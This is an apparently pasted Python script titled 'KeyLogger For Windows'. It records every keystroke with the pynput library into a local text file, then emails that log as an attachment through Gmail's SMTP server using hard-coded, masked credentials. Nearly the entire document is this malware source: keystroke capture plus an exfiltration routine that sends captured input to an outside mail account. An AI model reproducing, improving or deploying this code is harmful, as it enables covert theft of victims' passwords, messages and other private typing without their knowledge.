· 6 years ago · Sep 18, 2019, 10:36 PM
1
2# KeyLogger For Windows
3# Created By: Leo Power
4
5
6import pynput
7from pynput.keyboard import Key, Listener
8import smtplib
9from email.message import EmailMessage
10import time
11import sys
12
13def CreateLogFile():
14 CreateLogFile1 = open("LogTest.txt", "w+")
15CreateLogFile()
16
17
18
19# KEYLOGGER
20count = 0
21keys = []
22
23def on_press(key):
24 global keys, count
25
26 keys.append(key)
27 count += 1
28 print("{0} pressed".format(key))
29
30 if count >= 10:
31 count = 0
32 write_file(keys)
33 keys = []
34
35def write_file(keys):
36 with open("LogTest.txt", "a") as f:
37 for key in keys:
38 k = str(key).replace("'","")
39 if k.find("space") > 0:
40 f.write('\n')
41 elif k.find("Key") == -1:
42 f.write(k)
43
44def on_release(key):
45 if key == Key.esc:
46 return False
47
48with Listener(on_press=on_press, on_release=on_release) as listener:
49 listener.join()
50
51def Send_Email():
52
53
54 EMAIL_ADDRESS = "*********@gmail.com"
55 EMAIL_PASSWORD = "*********"
56
57 msg = EmailMessage()
58 msg['Subject'] = 'PYTHON'
59 msg['From'] = EMAIL_ADDRESS
60 msg['To'] = EMAIL_ADDRESS
61 msg.set_content('Key Logger')
62
63
64 with open('LogTest.txt', 'rb') as f:
65 file_data = f.read()
66 file_type = 'txt'
67 file_name = f.name
68
69 msg.add_attachment(file_data, maintype='text', subtype=file_type, filename=file_name)
70
71 with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:
72 smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
73
74 smtp.send_message(msg)
75while True:
76 Send_Email()
77 sys.exit()